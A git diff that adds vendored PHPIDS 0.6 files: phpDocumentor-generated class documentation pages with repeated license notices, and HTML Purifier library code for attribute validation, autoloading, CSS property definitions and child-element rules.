+Requirements: PHP5, SimpleXML
Copyright (c) 2007 PHPIDS (http://php-ids.org)
This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the license.
This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+ +| Class | +Description | +
|---|---|
| + IDS_Filter_Storage_Abstract + | ++ Abstract Filter Storage + | +
+ Documentation generated on Thu, 13 Sep 2007 22:36:58 +0200 by phpDocumentor 1.4.0 +
+PHPIDS
+Requirements: PHP5, SimpleXML
Copyright (c) 2008 PHPIDS group (http://php-ids.org)
PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.
PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.
PHP version 5.1.6+
+ + +| Class | +Description | +
|---|---|
| + IDS_Filter_Storage + | ++ Filter Storage + | +
+ Documentation generated on Mon, 22 Dec 2008 13:36:53 +0100 by phpDocumentor 1.4.2 +
+PHPIDS
+Requirements: PHP5, SimpleXML
Copyright (c) 2008 PHPIDS group (http://php-ids.org)
PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.
PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.
PHP version 5.1.6+
+ + +| Class | +Description | +
|---|---|
| + IDS_Filter + | ++ PHPIDS Filter object + | +
+ Documentation generated on Mon, 22 Dec 2008 13:36:45 +0100 by phpDocumentor 1.4.2 +
+PHPIDS
+Requirements: PHP5, SimpleXML
Copyright (c) 2008 PHPIDS group (http://php-ids.org)
PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.
PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.
PHP version 5.1.6+
+ + +| Class | +Description | +
|---|---|
| + IDS_Init + | ++ Framework initiation + | +
+ Documentation generated on Mon, 22 Dec 2008 13:36:48 +0100 by phpDocumentor 1.4.2 +
+PHPIDS
+Requirements: PHP5, SimpleXML
Copyright (c) 2008 PHPIDS group (http://php-ids.org)
PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.
PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.
PHP version 5.1.6+
+ + +| Class | +Description | +
|---|---|
| + IDS_Log_Composite + | ++ Log Composite + | +
PHPIDS
+Requirements: PHP5, SimpleXML
Copyright (c) 2008 PHPIDS group (http://php-ids.org)
PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.
PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.
PHP version 5.1.6+
+ + ++ Documentation generated on Mon, 22 Dec 2008 13:36:40 +0100 by phpDocumentor 1.4.2 +
+PHPIDS
+Requirements: PHP5, SimpleXML
Copyright (c) 2008 PHPIDS group (http://php-ids.org)
PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.
PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.
PHP version 5.1.6+
+ + +| Class | +Description | +
|---|---|
| + IDS_Log_Database + | ++ Database logging wrapper + | +
PHPIDS
+Requirements: PHP5, SimpleXML
Copyright (c) 2008 PHPIDS group (http://php-ids.org)
PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.
PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.
PHP version 5.1.6+
+ + ++ Documentation generated on Mon, 22 Dec 2008 13:36:42 +0100 by phpDocumentor 1.4.2 +
+PHPIDS
+Requirements: PHP5, SimpleXML
Copyright (c) 2008 PHPIDS group (http://php-ids.org)
PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.
PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.
PHP version 5.1.6+
+ + +| Class | +Description | +
|---|---|
| + IDS_Log_Email + | ++ Email logging wrapper + | +
PHPIDS
+Requirements: PHP5, SimpleXML
Copyright (c) 2008 PHPIDS group (http://php-ids.org)
PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.
PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.
PHP version 5.1.6+
+ + ++ Documentation generated on Mon, 22 Dec 2008 13:36:43 +0100 by phpDocumentor 1.4.2 +
+PHPIDS
+Requirements: PHP5, SimpleXML
Copyright (c) 2008 PHPIDS group (http://php-ids.org)
PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.
PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.
PHP version 5.1.6+
+ + +| Class | +Description | +
|---|---|
| + IDS_Log_File + | ++ File logging wrapper + | +
PHPIDS
+Requirements: PHP5, SimpleXML
Copyright (c) 2008 PHPIDS group (http://php-ids.org)
PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.
PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.
PHP version 5.1.6+
+ + ++ Documentation generated on Mon, 22 Dec 2008 13:36:44 +0100 by phpDocumentor 1.4.2 +
+PHPIDS
+Requirements: PHP5, SimpleXML
Copyright (c) 2008 PHPIDS group (http://php-ids.org)
PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.
PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.
PHP version 5.1.6+
+ + +| Class | +Description | +
|---|---|
| + IDS_Log_Interface + | ++ Interface for logging wrappers + | +
+ Documentation generated on Mon, 22 Dec 2008 13:36:48 +0100 by phpDocumentor 1.4.2 +
+PHPIDS
+Requirements: PHP5, SimpleXML
Copyright (c) 2008 PHPIDS group (http://php-ids.org)
PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.
PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.
PHP version 5.1.6+
+ + +| Class | +Description | +
|---|---|
| + IDS_Monitor + | ++ Monitoring engine + | +
+ Documentation generated on Mon, 22 Dec 2008 13:36:50 +0100 by phpDocumentor 1.4.2 +
+PHPIDS
+Requirements: PHP5, SimpleXML
Copyright (c) 2008 PHPIDS group (http://php-ids.org)
PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.
PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.
PHP version 5.1.6+
+ + +| Class | +Description | +
|---|---|
| + IDS_Report + | ++ PHPIDS report object + | +
+ Documentation generated on Mon, 22 Dec 2008 13:36:52 +0100 by phpDocumentor 1.4.2 +
++ Documentation generated on Mon, 22 Dec 2008 13:36:38 +0100 by phpDocumentor 1.4.2 +
+ + \ No newline at end of file diff --git a/external/phpids/0.6/docs/phpdocumentor/elementindex.html b/external/phpids/0.6/docs/phpdocumentor/elementindex.html new file mode 100644 index 000000000..7c0c52154 --- /dev/null +++ b/external/phpids/0.6/docs/phpdocumentor/elementindex.html @@ -0,0 +1,10897 @@ + + + + + ++ Documentation generated on Mon, 22 Dec 2008 13:36:56 +0100 by phpDocumentor 1.4.2 +
+ + \ No newline at end of file diff --git a/external/phpids/0.6/docs/phpdocumentor/index.html b/external/phpids/0.6/docs/phpdocumentor/index.html new file mode 100644 index 000000000..823da12a0 --- /dev/null +++ b/external/phpids/0.6/docs/phpdocumentor/index.html @@ -0,0 +1,24 @@ + + + + + +to
+ foreach ($definition->info[$token->name]->attr_transform_pre as $transform) { + $attr = $transform->transform($o = $attr, $config, $context); + if ($e) { + if ($attr != $o) $e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr); + } + } + + // create alias to this element's attribute definition array, see + // also $d_defs (global attribute definition array) + // DEFINITION CALL + $defs = $definition->info[$token->name]->attr; + + $attr_key = false; + $context->register('CurrentAttr', $attr_key); + + // iterate through all the attribute keypairs + // Watch out for name collisions: $key has previously been used + foreach ($attr as $attr_key => $value) { + + // call the definition + if ( isset($defs[$attr_key]) ) { + // there is a local definition defined + if ($defs[$attr_key] === false) { + // We've explicitly been told not to allow this element. + // This is usually when there's a global definition + // that must be overridden. + // Theoretically speaking, we could have a + // AttrDef_DenyAll, but this is faster! + $result = false; + } else { + // validate according to the element's definition + $result = $defs[$attr_key]->validate( + $value, $config, $context + ); + } + } elseif ( isset($d_defs[$attr_key]) ) { + // there is a global definition defined, validate according + // to the global definition + $result = $d_defs[$attr_key]->validate( + $value, $config, $context + ); + } else { + // system never heard of the attribute? DELETE! + $result = false; + } + + // put the results into effect + if ($result === false || $result === null) { + // this is a generic error message that should replaced + // with more specific ones when possible + if ($e) $e->send(E_ERROR, 'AttrValidator: Attribute removed'); + + // remove the attribute + unset($attr[$attr_key]); + } elseif (is_string($result)) { + // generally, if a substitution is happening, there + // was some sort of implicit correction going on. We'll + // delegate it to the attribute classes to say exactly what. + + // simple substitution + $attr[$attr_key] = $result; + } else { + // nothing happens + } + + // we'd also want slightly more complicated substitution + // involving an array as the return value, + // although we're not sure how colliding attributes would + // resolve (certain ones would be completely overriden, + // others would prepend themselves). + } + + $context->destroy('CurrentAttr'); + + // post transforms + + // global (error reporting untested) + foreach ($definition->info_attr_transform_post as $transform) { + $attr = $transform->transform($o = $attr, $config, $context); + if ($e) { + if ($attr != $o) $e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr); + } + } + + // local (error reporting untested) + foreach ($definition->info[$token->name]->attr_transform_post as $transform) { + $attr = $transform->transform($o = $attr, $config, $context); + if ($e) { + if ($attr != $o) $e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr); + } + } + + $token->attr = $attr; + + // destroy CurrentToken if we made it ourselves + if (!$current_token) $context->destroy('CurrentToken'); + + } + + +} + diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Bootstrap.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Bootstrap.php new file mode 100644 index 000000000..f7c3dabab --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Bootstrap.php @@ -0,0 +1,96 @@ + +if (!defined('PHP_EOL')) { + switch (strtoupper(substr(PHP_OS, 0, 3))) { + case 'WIN': + define('PHP_EOL', "\r\n"); + break; + case 'DAR': + define('PHP_EOL', "\r"); + break; + default: + define('PHP_EOL', "\n"); + } +} + +/** + * Bootstrap class that contains meta-functionality for HTML Purifier such as + * the autoload function. + * + * @note + * This class may be used without any other files from HTML Purifier. + */ +class HTMLPurifier_Bootstrap +{ + + /** + * Autoload function for HTML Purifier + * @param $class Class to load + */ + public static function autoload($class) { + $file = HTMLPurifier_Bootstrap::getPath($class); + if (!$file) return false; + require HTMLPURIFIER_PREFIX . '/' . $file; + return true; + } + + /** + * Returns the path for a specific class. + */ + public static function getPath($class) { + if (strncmp('HTMLPurifier', $class, 12) !== 0) return false; + // Custom implementations + if (strncmp('HTMLPurifier_Language_', $class, 22) === 0) { + $code = str_replace('_', '-', substr($class, 22)); + $file = 'HTMLPurifier/Language/classes/' . $code . '.php'; + } else { + $file = str_replace('_', '/', $class) . '.php'; + } + if (!file_exists(HTMLPURIFIER_PREFIX . '/' . $file)) return false; + return $file; + } + + /** + * "Pre-registers" our autoloader on the SPL stack. + */ + public static function registerAutoload() { + $autoload = array('HTMLPurifier_Bootstrap', 'autoload'); + if ( ($funcs = spl_autoload_functions()) === false ) { + spl_autoload_register($autoload); + } elseif (function_exists('spl_autoload_unregister')) { + $compat = version_compare(PHP_VERSION, '5.1.2', '<=') && + version_compare(PHP_VERSION, '5.1.0', '>='); + foreach ($funcs as $func) { + if (is_array($func)) { + // :TRICKY: There are some compatibility issues and some + // places where we need to error out + $reflector = new ReflectionMethod($func[0], $func[1]); + if (!$reflector->isStatic()) { + throw new Exception(' + HTML Purifier autoloader registrar is not compatible + with non-static object methods due to PHP Bug #44144; + Please do not use HTMLPurifier.autoload.php (or any + file that includes this file); instead, place the code: + spl_autoload_register(array(\'HTMLPurifier_Bootstrap\', \'autoload\')) + after your own autoloaders. + '); + } + // Suprisingly, spl_autoload_register supports the + // Class::staticMethod callback format, although call_user_func doesn't + if ($compat) $func = implode('::', $func); + } + spl_autoload_unregister($func); + } + spl_autoload_register($autoload); + foreach ($funcs as $func) spl_autoload_register($func); + } + } + +} diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/CSSDefinition.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/CSSDefinition.php new file mode 100644 index 000000000..663eacc75 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/CSSDefinition.php @@ -0,0 +1,290 @@ +info['text-align'] = new HTMLPurifier_AttrDef_Enum( + array('left', 'right', 'center', 'justify'), false); + + $border_style = + $this->info['border-bottom-style'] = + $this->info['border-right-style'] = + $this->info['border-left-style'] = + $this->info['border-top-style'] = new HTMLPurifier_AttrDef_Enum( + array('none', 'hidden', 'dotted', 'dashed', 'solid', 'double', + 'groove', 'ridge', 'inset', 'outset'), false); + + $this->info['border-style'] = new HTMLPurifier_AttrDef_CSS_Multiple($border_style); + + $this->info['clear'] = new HTMLPurifier_AttrDef_Enum( + array('none', 'left', 'right', 'both'), false); + $this->info['float'] = new HTMLPurifier_AttrDef_Enum( + array('none', 'left', 'right'), false); + $this->info['font-style'] = new HTMLPurifier_AttrDef_Enum( + array('normal', 'italic', 'oblique'), false); + $this->info['font-variant'] = new HTMLPurifier_AttrDef_Enum( + array('normal', 'small-caps'), false); + + $uri_or_none = new HTMLPurifier_AttrDef_CSS_Composite( + array( + new HTMLPurifier_AttrDef_Enum(array('none')), + new HTMLPurifier_AttrDef_CSS_URI() + ) + ); + + $this->info['list-style-position'] = new HTMLPurifier_AttrDef_Enum( + array('inside', 'outside'), false); + $this->info['list-style-type'] = new HTMLPurifier_AttrDef_Enum( + array('disc', 'circle', 'square', 'decimal', 'lower-roman', + 'upper-roman', 'lower-alpha', 'upper-alpha', 'none'), false); + $this->info['list-style-image'] = $uri_or_none; + + $this->info['list-style'] = new HTMLPurifier_AttrDef_CSS_ListStyle($config); + + $this->info['text-transform'] = new HTMLPurifier_AttrDef_Enum( + array('capitalize', 'uppercase', 'lowercase', 'none'), false); + $this->info['color'] = new HTMLPurifier_AttrDef_CSS_Color(); + + $this->info['background-image'] = $uri_or_none; + $this->info['background-repeat'] = new HTMLPurifier_AttrDef_Enum( + array('repeat', 'repeat-x', 'repeat-y', 'no-repeat') + ); + $this->info['background-attachment'] = new HTMLPurifier_AttrDef_Enum( + array('scroll', 'fixed') + ); + $this->info['background-position'] = new HTMLPurifier_AttrDef_CSS_BackgroundPosition(); + + $border_color = + $this->info['border-top-color'] = + $this->info['border-bottom-color'] = + $this->info['border-left-color'] = + $this->info['border-right-color'] = + $this->info['background-color'] = new HTMLPurifier_AttrDef_CSS_Composite(array( + new HTMLPurifier_AttrDef_Enum(array('transparent')), + new HTMLPurifier_AttrDef_CSS_Color() + )); + + $this->info['background'] = new HTMLPurifier_AttrDef_CSS_Background($config); + + $this->info['border-color'] = new HTMLPurifier_AttrDef_CSS_Multiple($border_color); + + $border_width = + $this->info['border-top-width'] = + $this->info['border-bottom-width'] = + $this->info['border-left-width'] = + $this->info['border-right-width'] = new HTMLPurifier_AttrDef_CSS_Composite(array( + new HTMLPurifier_AttrDef_Enum(array('thin', 'medium', 'thick')), + new HTMLPurifier_AttrDef_CSS_Length('0') //disallow negative + )); + + $this->info['border-width'] = new HTMLPurifier_AttrDef_CSS_Multiple($border_width); + + $this->info['letter-spacing'] = new HTMLPurifier_AttrDef_CSS_Composite(array( + new HTMLPurifier_AttrDef_Enum(array('normal')), + new HTMLPurifier_AttrDef_CSS_Length() + )); + + $this->info['word-spacing'] = new HTMLPurifier_AttrDef_CSS_Composite(array( + new HTMLPurifier_AttrDef_Enum(array('normal')), + new HTMLPurifier_AttrDef_CSS_Length() + )); + + $this->info['font-size'] = new HTMLPurifier_AttrDef_CSS_Composite(array( + new HTMLPurifier_AttrDef_Enum(array('xx-small', 'x-small', + 'small', 'medium', 'large', 'x-large', 'xx-large', + 'larger', 'smaller')), + new HTMLPurifier_AttrDef_CSS_Percentage(), + new HTMLPurifier_AttrDef_CSS_Length() + )); + + $this->info['line-height'] = new HTMLPurifier_AttrDef_CSS_Composite(array( + new HTMLPurifier_AttrDef_Enum(array('normal')), + new HTMLPurifier_AttrDef_CSS_Number(true), // no negatives + new HTMLPurifier_AttrDef_CSS_Length('0'), + new HTMLPurifier_AttrDef_CSS_Percentage(true) + )); + + $margin = + $this->info['margin-top'] = + $this->info['margin-bottom'] = + $this->info['margin-left'] = + $this->info['margin-right'] = new HTMLPurifier_AttrDef_CSS_Composite(array( + new HTMLPurifier_AttrDef_CSS_Length(), + new HTMLPurifier_AttrDef_CSS_Percentage(), + new HTMLPurifier_AttrDef_Enum(array('auto')) + )); + + $this->info['margin'] = new HTMLPurifier_AttrDef_CSS_Multiple($margin); + + // non-negative + $padding = + $this->info['padding-top'] = + $this->info['padding-bottom'] = + $this->info['padding-left'] = + $this->info['padding-right'] = new HTMLPurifier_AttrDef_CSS_Composite(array( + new HTMLPurifier_AttrDef_CSS_Length('0'), + new HTMLPurifier_AttrDef_CSS_Percentage(true) + )); + + $this->info['padding'] = new HTMLPurifier_AttrDef_CSS_Multiple($padding); + + $this->info['text-indent'] = new HTMLPurifier_AttrDef_CSS_Composite(array( + new HTMLPurifier_AttrDef_CSS_Length(), + new HTMLPurifier_AttrDef_CSS_Percentage() + )); + + $trusted_wh = new HTMLPurifier_AttrDef_CSS_Composite(array( + new HTMLPurifier_AttrDef_CSS_Length('0'), + new HTMLPurifier_AttrDef_CSS_Percentage(true), + new HTMLPurifier_AttrDef_Enum(array('auto')) + )); + $max = $config->get('CSS', 'MaxImgLength'); + + $this->info['width'] = + $this->info['height'] = + $max === null ? + $trusted_wh : + new HTMLPurifier_AttrDef_Switch('img', + // For img tags: + new HTMLPurifier_AttrDef_CSS_Composite(array( + new HTMLPurifier_AttrDef_CSS_Length('0', $max), + new HTMLPurifier_AttrDef_Enum(array('auto')) + )), + // For everyone else: + $trusted_wh + ); + + $this->info['text-decoration'] = new HTMLPurifier_AttrDef_CSS_TextDecoration(); + + $this->info['font-family'] = new HTMLPurifier_AttrDef_CSS_FontFamily(); + + // this could use specialized code + $this->info['font-weight'] = new HTMLPurifier_AttrDef_Enum( + array('normal', 'bold', 'bolder', 'lighter', '100', '200', '300', + '400', '500', '600', '700', '800', '900'), false); + + // MUST be called after other font properties, as it references + // a CSSDefinition object + $this->info['font'] = new HTMLPurifier_AttrDef_CSS_Font($config); + + // same here + $this->info['border'] = + $this->info['border-bottom'] = + $this->info['border-top'] = + $this->info['border-left'] = + $this->info['border-right'] = new HTMLPurifier_AttrDef_CSS_Border($config); + + $this->info['border-collapse'] = new HTMLPurifier_AttrDef_Enum(array( + 'collapse', 'separate')); + + $this->info['caption-side'] = new HTMLPurifier_AttrDef_Enum(array( + 'top', 'bottom')); + + $this->info['table-layout'] = new HTMLPurifier_AttrDef_Enum(array( + 'auto', 'fixed')); + + $this->info['vertical-align'] = new HTMLPurifier_AttrDef_CSS_Composite(array( + new HTMLPurifier_AttrDef_Enum(array('baseline', 'sub', 'super', + 'top', 'text-top', 'middle', 'bottom', 'text-bottom')), + new HTMLPurifier_AttrDef_CSS_Length(), + new HTMLPurifier_AttrDef_CSS_Percentage() + )); + + $this->info['border-spacing'] = new HTMLPurifier_AttrDef_CSS_Multiple(new HTMLPurifier_AttrDef_CSS_Length(), 2); + + // partial support + $this->info['white-space'] = new HTMLPurifier_AttrDef_Enum(array('nowrap')); + + if ($config->get('CSS', 'Proprietary')) { + $this->doSetupProprietary($config); + } + + if ($config->get('CSS', 'AllowTricky')) { + $this->doSetupTricky($config); + } + + $allow_important = $config->get('CSS', 'AllowImportant'); + // wrap all attr-defs with decorator that handles !important + foreach ($this->info as $k => $v) { + $this->info[$k] = new HTMLPurifier_AttrDef_CSS_ImportantDecorator($v, $allow_important); + } + + $this->setupConfigStuff($config); + } + + protected function doSetupProprietary($config) { + // Internet Explorer only scrollbar colors + $this->info['scrollbar-arrow-color'] = new HTMLPurifier_AttrDef_CSS_Color(); + $this->info['scrollbar-base-color'] = new HTMLPurifier_AttrDef_CSS_Color(); + $this->info['scrollbar-darkshadow-color'] = new HTMLPurifier_AttrDef_CSS_Color(); + $this->info['scrollbar-face-color'] = new HTMLPurifier_AttrDef_CSS_Color(); + $this->info['scrollbar-highlight-color'] = new HTMLPurifier_AttrDef_CSS_Color(); + $this->info['scrollbar-shadow-color'] = new HTMLPurifier_AttrDef_CSS_Color(); + + // technically not proprietary, but CSS3, and no one supports it + $this->info['opacity'] = new HTMLPurifier_AttrDef_CSS_AlphaValue(); + $this->info['-moz-opacity'] = new HTMLPurifier_AttrDef_CSS_AlphaValue(); + $this->info['-khtml-opacity'] = new HTMLPurifier_AttrDef_CSS_AlphaValue(); + + // only opacity, for now + $this->info['filter'] = new HTMLPurifier_AttrDef_CSS_Filter(); + + } + + protected function doSetupTricky($config) { + $this->info['display'] = new HTMLPurifier_AttrDef_Enum(array( + 'inline', 'block', 'list-item', 'run-in', 'compact', + 'marker', 'table', 'inline-table', 'table-row-group', + 'table-header-group', 'table-footer-group', 'table-row', + 'table-column-group', 'table-column', 'table-cell', 'table-caption', 'none' + )); + $this->info['visibility'] = new HTMLPurifier_AttrDef_Enum(array( + 'visible', 'hidden', 'collapse' + )); + } + + + /** + * Performs extra config-based processing. Based off of + * HTMLPurifier_HTMLDefinition. + * @todo Refactor duplicate elements into common class (probably using + * composition, not inheritance). + */ + protected function setupConfigStuff($config) { + + // setup allowed elements + $support = "(for information on implementing this, see the ". + "support forums) "; + $allowed_attributes = $config->get('CSS', 'AllowedProperties'); + if ($allowed_attributes !== null) { + foreach ($this->info as $name => $d) { + if(!isset($allowed_attributes[$name])) unset($this->info[$name]); + unset($allowed_attributes[$name]); + } + // emit errors + foreach ($allowed_attributes as $name => $d) { + // :TODO: Is this htmlspecialchars() call really necessary? + $name = htmlspecialchars($name); + trigger_error("Style attribute '$name' is not supported $support", E_USER_WARNING); + } + } + + } +} + diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef.php new file mode 100644 index 000000000..de0b1b9b3 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef.php @@ -0,0 +1,48 @@ +elements; + } + + /** + * Validates nodes according to definition and returns modification. + * + * @param $tokens_of_children Array of HTMLPurifier_Token + * @param $config HTMLPurifier_Config object + * @param $context HTMLPurifier_Context object + * @return bool true to leave nodes as is + * @return bool false to remove parent node + * @return array of replacement child tokens + */ + abstract public function validateChildren($tokens_of_children, $config, $context); +} + + diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Chameleon.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Chameleon.php new file mode 100644 index 000000000..2890ef1a3 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Chameleon.php @@ -0,0 +1,47 @@ +inline = new HTMLPurifier_ChildDef_Optional($inline); + $this->block = new HTMLPurifier_ChildDef_Optional($block); + $this->elements = $this->block->elements; + } + + public function validateChildren($tokens_of_children, $config, $context) { + if ($context->get('IsInline') === false) { + return $this->block->validateChildren( + $tokens_of_children, $config, $context); + } else { + return $this->inline->validateChildren( + $tokens_of_children, $config, $context); + } + } +} + diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Custom.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Custom.php new file mode 100644 index 000000000..05c5d0c0b --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Custom.php @@ -0,0 +1,89 @@ +dtd_regex = $dtd_regex; + $this->_compileRegex(); + } + /** + * Compiles the PCRE regex from a DTD regex ($dtd_regex to $_pcre_regex) + */ + protected function _compileRegex() { + $raw = str_replace(' ', '', $this->dtd_regex); + if ($raw{0} != '(') { + $raw = "($raw)"; + } + $el = '[#a-zA-Z0-9_.-]+'; + $reg = $raw; + + // COMPLICATED! AND MIGHT BE BUGGY! I HAVE NO CLUE WHAT I'M + // DOING! Seriously: if there's problems, please report them. + + // collect all elements into the $elements array + preg_match_all("/$el/", $reg, $matches); + foreach ($matches[0] as $match) { + $this->elements[$match] = true; + } + + // setup all elements as parentheticals with leading commas + $reg = preg_replace("/$el/", '(,\\0)', $reg); + + // remove commas when they were not solicited + $reg = preg_replace("/([^,(|]\(+),/", '\\1', $reg); + + // remove all non-paranthetical commas: they are handled by first regex + $reg = preg_replace("/,\(/", '(', $reg); + + $this->_pcre_regex = $reg; + } + public function validateChildren($tokens_of_children, $config, $context) { + $list_of_children = ''; + $nesting = 0; // depth into the nest + foreach ($tokens_of_children as $token) { + if (!empty($token->is_whitespace)) continue; + + $is_child = ($nesting == 0); // direct + + if ($token instanceof HTMLPurifier_Token_Start) { + $nesting++; + } elseif ($token instanceof HTMLPurifier_Token_End) { + $nesting--; + } + + if ($is_child) { + $list_of_children .= $token->name . ','; + } + } + // add leading comma to deal with stray comma declarations + $list_of_children = ',' . rtrim($list_of_children, ','); + $okay = + preg_match( + '/^,?'.$this->_pcre_regex.'$/', + $list_of_children + ); + + return (bool) $okay; + } +} + diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Empty.php 